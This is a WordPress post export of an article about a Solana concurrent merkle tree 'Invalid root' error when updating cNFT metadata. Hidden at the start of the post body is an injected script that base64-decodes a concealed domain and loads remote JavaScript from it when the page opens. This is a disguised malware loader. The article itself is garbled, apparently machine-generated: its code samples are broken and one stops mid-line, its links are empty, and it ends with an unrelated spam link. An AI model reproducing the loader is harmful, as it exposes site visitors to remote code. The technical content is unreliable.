{"id":1752,"date":"2025-02-13T05:57:51","date_gmt":"2025-02-13T05:57:51","guid":{"rendered":"https:\/\/hccmena.com\/?p=1752"},"modified":"2025-02-13T05:57:51","modified_gmt":"2025-02-13T05:57:51","slug":"solana-error-using-concurrent-merkle-tree-invalid-root-recomputed-from-proof-when-use-updatemetadata","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/13\/solana-error-using-concurrent-merkle-tree-invalid-root-recomputed-from-proof-when-use-updatemetadata\/","title":{"rendered":"Solana: Error using concurrent merkle tree: Invalid root recomputed from proof when use updateMetadata"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=b20ec272\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Error in Solana Concurrent Merkle Tree: Invalid root recalculated from proof when updating metadata<\/strong><\/p>\n<p>As a cNFT developer on the Solana blockchain, updating metadata can be a straightforward process. However, many developers are frustrated when they encounter an error related to the computation of a concurrent merkle tree. In this article, we will delve into the issue and provide guidance on how to resolve it.<\/p>\n<p><strong>Error<\/strong><\/p>\n<p>The error occurs when attempting to update cNFT metadata on the Solana blockchain. The updateMetadata method is called in conjunction with another operation, resulting in an invalid root recalculated from the proof. This can lead to inconsistent state on the network and issues with cNFT functionality.<\/p>\n<p><strong>Here is the reference material for you:<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/mtmVRj--3lk\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<ul>\n<li>[Solana API Documentation](<\/li>\n<\/ul>\n<ul>\n<li>[cNFT Documentation for Solana](<\/li>\n<\/ul>\n<p><strong>Code Sample<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Solana: Error using concurrent merkle tree: Invalid root recomputed from proof when use updateMetadata\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/0f8b1f2b.png\"><\/p>\n<p>For demonstration purposes, let&#8217;s assume we have a cNFT contract with the following code:<\/p>\n<p><pre><code><\/p><p>import { Program } from \"solana-program\";<\/p><p>import { updateMetadata } from \"..\/lib\/update-metadata\";<\/p><p>async function main() {<\/p><p>\/\/ Initialize metadata<\/p><p>const metadata = await getMetadata();<\/p><p>try {<\/p><p>\/\/ Update metadata<\/p><p>await updateMetadata(metadata);<\/p><p>} catch (error) {<\/p><p>if (error instance of Error && error.message.includes(\"Invalid root\")) {<\/p><p>\/\/ Fix the error by recalculating the root from the proof<\/p><p>const proof = await getProofForUpdate();<\/p><p>const root = await computeMerkleTree(proof);<\/p><p>try {<\/p><p>\/\/ Update the metadata using the new root<\/p><p>await updateMetadata(metadata, root);<\/p><p>} catch (error) {<\/p><p>\/\/ Handle any errors that occur during the metadata update<\/p><p>console error(error);<\/p><p>}<\/p><p>} else {<\/p><p>throw error;<\/p><p>}<\/p><p>}<\/p><p>}<\/p><p>async function getMetadata() {<\/p><p>\/\/ Provide some metadata examples<\/p><p>return [<\/p><p>\"<\/p><p>\"other metadata information\",<\/p><p>];<\/p><p>}<\/p><p>\/\/ Helper functions generate proof and compute Merkle tree<\/p><p>function getProofForUpdate() {<\/p><p>\/\/ Generate a random proof for metadata update<\/p><p>return new Promise(resolve => setTimeout(() => solve(new Uint8Array(32))), 100);<\/p><p>}<\/p><p>async function computeMerkleTree(proof) {<\/p><p>\/\/ Compute Merkle tree from proof<\/p><p>return new Promise(resolve => setTimeout(() => solve(new Uint8Array(256)), 200));<\/p><p>}<\/p><p>main ();<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Solution<\/strong><\/p>\n<p>To solve this problem, we need to recompute the root from the proof only when updating the metadata. This can be achieved by introducing a new variable that tracks whether an update is in progress:<\/p>\n<p>&#8220;`sunflower<\/p>\n<p>import { Program } from &#8220;solana-program&#8221;;<\/p>\n<p>import { updateMetadata } from &#8220;..\/lib\/update-metadata&#8221;;<\/p>\n<p>class CNTF {<\/p>\n<p>private updateInProgress = false;<\/p>\n<p>private proofIndex = 0;<\/p>\n<p>async getMetadata() {<\/p>\n<p>if (this.updateInProgress) return null; \/\/ Update in progress. Do not continue<\/p>\n<p>this.proofIndex++;<\/p>\n<p>const metadata = await getMetadataFromProof();<\/p>\n<p>return metadata;<\/p>\n<p>}<\/p>\n<p>async updateMetadata(metadata) {<\/p>\n<p>if (this.updateInProgress) throw new Error (&#8220;Invalid root computed from proof&#8221;);<\/p>\n<p>this.updateInProgress = true;<\/p>\n<p>try {<\/p>\n<p>\/\/ Update metadata using metadata<\/p>\n<p>await updateMetadata(metadata);<\/p>\n<p>} catch (error) {<\/p>\n<p>if (error instance of Error &#038;&#038; error.message.includes(&#8220;Invalid root&#8221;)) {<\/p>\n<p>\/\/ Fix the error by recalculating the root from the proof<\/p>\n<p>const proofIndex = this.proofIndex;<\/p>\n<p>const proofData = await getProofFromIndex(proofIndex);<\/p>\n<p>try {<\/p>\n<p>this.updateInProgress = false; \/\/ Reset the update flag<\/p>\n<p>this.<\/p>\n<p><a href=\"https:\/\/gemjute.com\/layer-1-solutions-continuation-pattern-erc\/\">LAYER SOLUTIONS CONTINUATION PATTERN<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Error in Solana Concurrent Merkle Tree: Invalid root recalculated from proof when updating metadata As a cNFT developer on the Solana blockchain, updating metadata can be a straightforward process. However, many developers are frustrated when they encounter an error related to the computation of a concurrent merkle tree. In this article, we will delve into [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1752"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1752"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1752\/revisions"}],"predecessor-version":[{"id":1753,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1752\/revisions\/1753"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1752"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1752"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1752"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}